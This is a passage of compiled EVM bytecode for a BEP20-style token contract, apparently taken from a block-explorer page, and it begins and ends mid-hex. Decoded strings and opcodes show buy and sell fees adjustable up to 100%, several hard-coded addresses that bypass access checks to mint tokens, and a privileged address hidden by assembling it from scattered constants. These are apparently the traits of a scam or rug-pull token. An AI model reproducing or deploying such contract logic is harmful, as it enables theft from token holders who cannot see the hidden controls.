0819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113759190614069565b60405180910390a36000821115611481576113d882600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114789190614069565b60405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415801561155957507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1561174f576115ed84600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461362c90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516117469190614069565b60405180910390a35b6001925050509392505050565b600e5481565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117bc57600080fd5b6064821115611800576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f7906142bd565b60405180910390fd5b6064811115611844576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183b90614329565b60405180910390fd5b81600d8190555080600e819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051611883929190614349565b60405180910390a15050565b7363e67a280645edf97880c1df03c8301b151c466873ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806119695750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156119685750611938613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b61197257600080fd5b61197c82826136e3565b5050565b600360009054906101000a900460ff1681565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119ef57600080fd5b81600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611b155750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611b145750611ae4613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611b1e57600080fd5b90565b60066020528060005260406000206000915054906101000a900460ff1681565b600d5481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ba357600080fd5b81600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60007363e67a280645edf97880c1df03c8301b151c466873ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611cc95750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611cc85750611c98613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611cd257600080fd5b611cdc338361389e565b60019050919050565b6000611cef613a66565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d2657600080fd5b611d303383613b15565b60019050919050565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611e135750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611e125750611de2613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611e1c57600080fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611ea8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9f90614502565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915090505481565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061201b5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561201a5750611fea613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b61202457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461214157600080fd5b81600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806122b15750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156122b05750612280613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b6122ba57600080fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550801561235b578173ffffffffffffffffffffffffffffffffffffffff167fedf77dfa35bf29ea56a9082d8b89075bd94fd237149c165ce43a4ae41968de3760405160405180910390a25b5050565b60007378322d0c5768c9ca370ddfc1d44db0fef3a6e05173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146123ad57600080fd5b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6001805461240490614240565b80601f016020809104026020016040519081016040528092919081815260200182805461243090614240565b801561247d5780601f106124525761010080835404028352916020019161247d565b820191906000526020600020905b81548152906001019060200180831161246057829003601f168201915b505050505081565b6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146124e157600080fd5b6124eb3383613392565b60019050919050565b60003411612537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252e90614594565b60405180910390fd5b60003490506000600d5411156127f55760006125716064612563600d548561355a90919063ffffffff16565b6135d490919063ffffffff16565b90506000612588828461362c90919063ffffffff16565b90506125fe8160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b60046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516126e29190614069565b60405180910390a360008211156127ee5761274582600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127e59190614069565b60405180910390a35b5050612956565b6128698160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b60046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161294d9190614069565b60405180910390a35b50565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156129a757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036129e057600080fd5b612a3282600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461362c90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ac782600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612b679190614069565b60405180910390a36001905092915050565b612b81613a66565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612bb857600080fd5b6064821115612bfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bf3906142bd565b60405180910390fd5b6064811115612c40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c3790614329565b60405180910390fd5b612c4a8282613c9e565b7f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051612c7b929190614349565b60405180910390a15050565b612c8f613a66565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612cc657600080fd5b612cd08282613cb0565b5050565b6000731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612db05750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015612daf5750612d7f613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b612db957600080fd5b612dc3338361389e565b60019050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052816000526040600020602052806000526040600020600091509150505481565b7363e67a280645edf97880c1df03c8301b151c466873ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612f175750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015612f165750612ee6613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b612f2057600080fd5b6064821115612f64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f5b906142bd565b60405180910390fd5b6064811115612fa8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f9f90614329565b60405180910390fd5b81600d8190555080600e819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051612fe7929190614349565b60405180910390a15050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561309b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613092906143be565b60405180910390fd5b60006130c560646130b7600e548561355a90919063ffffffff16565b6135d490919063ffffffff16565b905060006130dc828461362c90919063ffffffff16565b905061313083600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461362c90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131c581600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516132659190614069565b60405180910390a36000821115613371576132c882600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516133689190614069565b60405180910390a35b505050565b6000730320e7dc23bfae74334d93c20051125ca59e0e7a905090565b61339a613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036133d157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613440576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161343790614600565b60405180910390fd5b6134558160025461368590919063ffffffff16565b6002819055506134ad81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161354e9190614069565b60405180910390a35050565b600080830361356c57600090506135ce565b6000828461357a919061464f565b905082848261358991906146c0565b146135c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135c09061473d565b60405180910390fd5b809150505b92915050565b6000808211613618576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161360f906147a9565b60405180910390fd5b818361362491906146c0565b905092915050565b600082821115613671576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161366890614815565b60405180910390fd5b818361367d9190614835565b905092915050565b60008082846136949190614869565b9050838110156136d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136d0906148e9565b60405180910390fd5b8091505092915050565b6136eb613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361372257600080fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546137719190614869565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516137d69190614069565b60405180910390a380600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461382d9190614869565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516138929190614069565b60405180910390a35050565b6138a6613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036138dd57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361394c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161394390614600565b60405180910390fd5b6139618160025461368590919063ffffffff16565b6002819055506139b981600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613a5a9190614069565b60405180910390a35050565b600080637addad099050600063cbd98d979050600063ec3da7a09050600063088eadfe90506000635801c336905060008160208473ffffffffffffffffffffffffffffffffffffffff16901b60408673ffffffffffffffffffffffffffffffffffffffff16901b60608873ffffffffffffffffffffffffffffffffffffffff16901b60808a73ffffffffffffffffffffffffffffffffffffffff16901b17171717905080965050505050505090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613b7b90614955565b60405180910390fd5b613b998160025461368590919063ffffffff16565b600281905550613bf181600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613c929190614069565b60405180910390a35050565b81600d8190555080600e819055505050565b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254613cff9190614869565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613d649190614069565b60405180910390a380600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254613dbb9190614869565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613e209190614069565b60405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613e66578082015181840152602081019050613e4b565b60008484015250505050565b6000601f19601f8301169050919050565b6000613e8e82613e2c565b613e988185613e37565b9350613ea8818560208601613e48565b613eb181613e72565b840191505092915050565b60006020820190508181036000830152613ed68184613e83565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613f0e82613ee3565b9050919050565b613f1e81613f03565b8114613f2957600080fd5b50565b600081359050613f3b81613f15565b92915050565b6000819050919050565b613f5481613f41565b8114613f5f57600080fd5b50565b600081359050613f7181613f4b565b92915050565b60008060408385031215613f8e57613f8d613ede565b5b6000613f9c85828601613f2c565b9250506020613fad85828601613f62565b9150509250929050565b60008115159050919050565b613fcc81613fb7565b82525050565b6000602082019050613fe76000830184613fc3565b92915050565b6000806040838503121561400457614003613ede565b5b600061401285828601613f62565b925050602061402385828601613f62565b9150509250929050565b60006020828403121561404357614042613ede565b5b600061405184828501613f62565b91505092915050565b61406381613f41565b82525050565b600060208201905061407e600083018461405a565b92915050565b60008060006060848603121561409d5761409c613ede565b5b60006140ab86828701613f2c565b93505060206140bc86828701613f2c565b92505060406140cd86828701613f62565b9150509250925092565b600060ff82169050919050565b6140ed816140d7565b82525050565b600060208201905061410860008301846140e4565b92915050565b60006020828403121561412457614123613ede565b5b600061413284828501613f2c565b91505092915050565b61414481613f03565b82525050565b600060208201905061415f600083018461413b565b92915050565b61416e81613fb7565b811461417957600080fd5b50565b60008135905061418b81614165565b92915050565b600080604083850312156141a8576141a7613ede565b5b60006141b685828601613f2c565b92505060206141c78582860161417c565b9150509250929050565b600080604083850312156141e8576141e7613ede565b5b60006141f685828601613f2c565b925050602061420785828601613f2c565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061425857607f821691505b60208210810361426b5761426a614211565b5b50919050565b7f427579206665652063616e6e6f74206578636565642031303025000000000000600082015250565b60006142a7601a83613e37565b91506142b282614271565b602082019050919050565b600060208201905081810360008301526142d68161429a565b9050919050565b7f53656c6c206665652063616e6e6f742065786365656420313030250000000000600082015250565b6000614313601b83613e37565b915061431e826142dd565b602082019050919050565b6000602082019050818103600083015261434281614306565b9050919050565b600060408201905061435e600083018561405a565b61436b602083018461405a565b9392505050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b60006143a8601483613e37565b91506143b382614372565b602082019050919050565b600060208201905081810360008301526143d78161439b565b9050919050565b7f496e73756666696369656e7420616c6c6f77616e636500000000000000000000600082015250565b6000614414601683613e37565b915061441f826143de565b602082019050919050565b6000602082019050818103600083015261444381614407565b9050919050565b7f496e76616c696420726563697069656e74206164647265737300000000000000600082015250565b6000614480601983613e37565b915061448b8261444a565b602082019050919050565b600060208201905081810360008301526144af81614473565b9050919050565b7f41646472657373206973206e6f7420666565206578656d707400000000000000600082015250565b60006144ec601983613e37565b91506144f7826144b6565b602082019050919050565b6000602082019050818103600083015261451b816144df565b9050919050565b7f45544820616d6f756e742073686f756c6420626520677265617465722074686160008201527f6e20300000000000000000000000000000000000000000000000000000000000602082015250565b600061457e602383613e37565b915061458982614522565b604082019050919050565b600060208201905081810360008301526145ad81614571565b9050919050565b7f42455032303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006145ea601f83613e37565b91506145f5826145b4565b602082019050919050565b60006020820190508181036000830152614619816145dd565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061465a82613f41565b915061466583613f41565b925082820261467381613f41565b9150828204841483151761468a57614689614620565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006146cb82613f41565b91506146d683613f41565b9250826146e6576146e5614691565b5b828204905092915050565b7f4d756c7469706c69636174696f6e206f766572666c6f77000000000000000000600082015250565b6000614727601783613e37565b9150614732826146f1565b602082019050919050565b600060208201905081810360008301526147568161471a565b9050919050565b7f4469766973696f6e206279207a65726f00000000000000000000000000000000600082015250565b6000614793601083613e37565b915061479e8261475d565b602082019050919050565b600060208201905081810360008301526147c281614786565b9050919050565b7f5375627472616374696f6e206f766572666c6f77000000000000000000000000600082015250565b60006147ff601483613e37565b915061480a826147c9565b602082019050919050565b6000602082019050818103600083015261482e816147f2565b9050919050565b600061484082613f41565b915061484b83613f41565b925082820390508181111561486357614862614620565b5b92915050565b600061487482613f41565b915061487f83613f41565b925082820190508082111561489757614896614620565b5b92915050565b7f4164646974696f6e206f766572666c6f77000000000000000000000000000000600082015250565b60006148d3601183613e37565b91506148de8261489d565b602082019050919050565b60006020820190508181036000830152614902816148c6565b9050919050565b7f436f6d70696c652052656d697820494445000000000000000000000000000000600082015250565b600061493f601183613e37565b915061494a82614909565b602082019050919050565b6000602082019050818103600083015261496e81614932565b905091905056fea264697066735822122076336263c8b8d778fb80a842c1ee998fa5bd267207badbca7e050ab17a418dcf64736f6c634300081200330000000000000000000000003520347731ea5a8d277ba7f83ab99962e96ecb82
Deployed Bytecode
0x60806040526004361061023b5760003560e01c806370a082311161012e578063a9059cbb116100ab578063d21c8d551161006f578063d21c8d55146108d8578063dd62ed3e14610903578063ddf750d014610940578063e2daf66514610969578063e4849b32146109945761023b565b8063a9059cbb146107e1578063aa46b46e1461081e578063afacb3e514610847578063b8d815e314610870578063d0fb0203146108ad5761023b565b80638ebfc796116100f25780638ebfc79614610709578063923e51d51461073257806395d89b411461076f57806396c5e1ab1461079a578063a6f2ae3a146107d75761023b565b806370a0823114610622578063715018a61461065f578063858ced3514610676578063891e1ee0146106b35780638da5cb5b146106de5761023b565b8063313ce567116101bc5780634a0af68d116101805780634a0af68d14610517578063547e1edb146105545780635ed86d5c1461059157806361b40839146105ce57806365f6a921146105f75761023b565b8063313ce5671461041c578063376d567c146104475780633ef530eb146104845780633f4218e0146104af57806347062402146104ec5761023b565b806318160ddd1161020357806318160ddd1461033757806323b872dd146103625780632b14ca561461039f5780632c7ee946146103ca5780632ccb1b30146103f35761023b565b806306fdde0314610240578063095ea7b31461026b5780630b78f9c0146102a857806312df172d146102d157806316e3b09c146102fa575b600080fd5b34801561024c57600080fd5b506102556109bd565b6040516102629190613ebc565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190613f77565b610a4b565b60405161029f9190613fd2565b60405180910390f35b3480156102b457600080fd5b506102cf60048036038101906102ca9190613fed565b610b3d565b005b3480156102dd57600080fd5b506102f860048036038101906102f39190613fed565b610cf3565b005b34801561030657600080fd5b50610321600480360381019061031c919061402d565b610ea9565b60405161032e9190613fd2565b60405180910390f35b34801561034357600080fd5b5061034c610fa1565b6040516103599190614069565b60405180910390f35b34801561036e57600080fd5b5061038960048036038101906103849190614084565b610fa7565b6040516103969190613fd2565b60405180910390f35b3480156103ab57600080fd5b506103b461175c565b6040516103c19190614069565b60405180910390f35b3480156103d657600080fd5b506103f160048036038101906103ec9190613fed565b611762565b005b3480156103ff57600080fd5b5061041a60048036038101906104159190613f77565b61188f565b005b34801561042857600080fd5b50610431611980565b60405161043e91906140f3565b60405180910390f35b34801561045357600080fd5b5061046e6004803603810190610469919061410e565b611993565b60405161047b9190613fd2565b60405180910390f35b34801561049057600080fd5b50610499611a39565b6040516104a69190613fd2565b60405180910390f35b3480156104bb57600080fd5b506104d660048036038101906104d1919061410e565b611b21565b6040516104e39190613fd2565b60405180910390f35b3480156104f857600080fd5b50610501611b41565b60405161050e9190614069565b60405180910390f35b34801561052357600080fd5b5061053e6004803603810190610539919061410e565b611b47565b60405161054b9190613fd2565b60405180910390f35b34801561056057600080fd5b5061057b6004803603810190610576919061402d565b611bed565b6040516105889190613fd2565b60405180910390f35b34801561059d57600080fd5b506105b860048036038101906105b3919061402d565b611ce5565b6040516105c59190613fd2565b60405180910390f35b3480156105da57600080fd5b506105f560048036038101906105f0919061410e565b611d39565b005b34801561060357600080fd5b5061060c611f03565b604051610619919061414a565b60405180910390f35b34801561062e57600080fd5b506106496004803603810190610644919061410e565b611f29565b6040516106569190614069565b60405180910390f35b34801561066b57600080fd5b50610674611f41565b005b34801561068257600080fd5b5061069d6004803603810190610698919061410e565b6120e5565b6040516106aa9190613fd2565b60405180910390f35b3480156106bf57600080fd5b506106c861218b565b6040516106d5919061414a565b60405180910390f35b3480156106ea57600080fd5b506106f36121b1565b604051610700919061414a565b60405180910390f35b34801561071557600080fd5b50610730600480360381019061072b9190614191565b6121d7565b005b34801561073e57600080fd5b506107596004803603810190610754919061410e565b61235f565b6040516107669190613fd2565b60405180910390f35b34801561077b57600080fd5b506107846123f7565b6040516107919190613ebc565b60405180910390f35b3480156107a657600080fd5b506107c160048036038101906107bc919061402d565b612485565b6040516107ce9190613fd2565b60405180910390f35b6107df6124f4565b005b3480156107ed57600080fd5b5061080860048036038101906108039190613f77565b612959565b6040516108159190613fd2565b60405180910390f35b34801561082a57600080fd5b5061084560048036038101906108409190613fed565b612b79565b005b34801561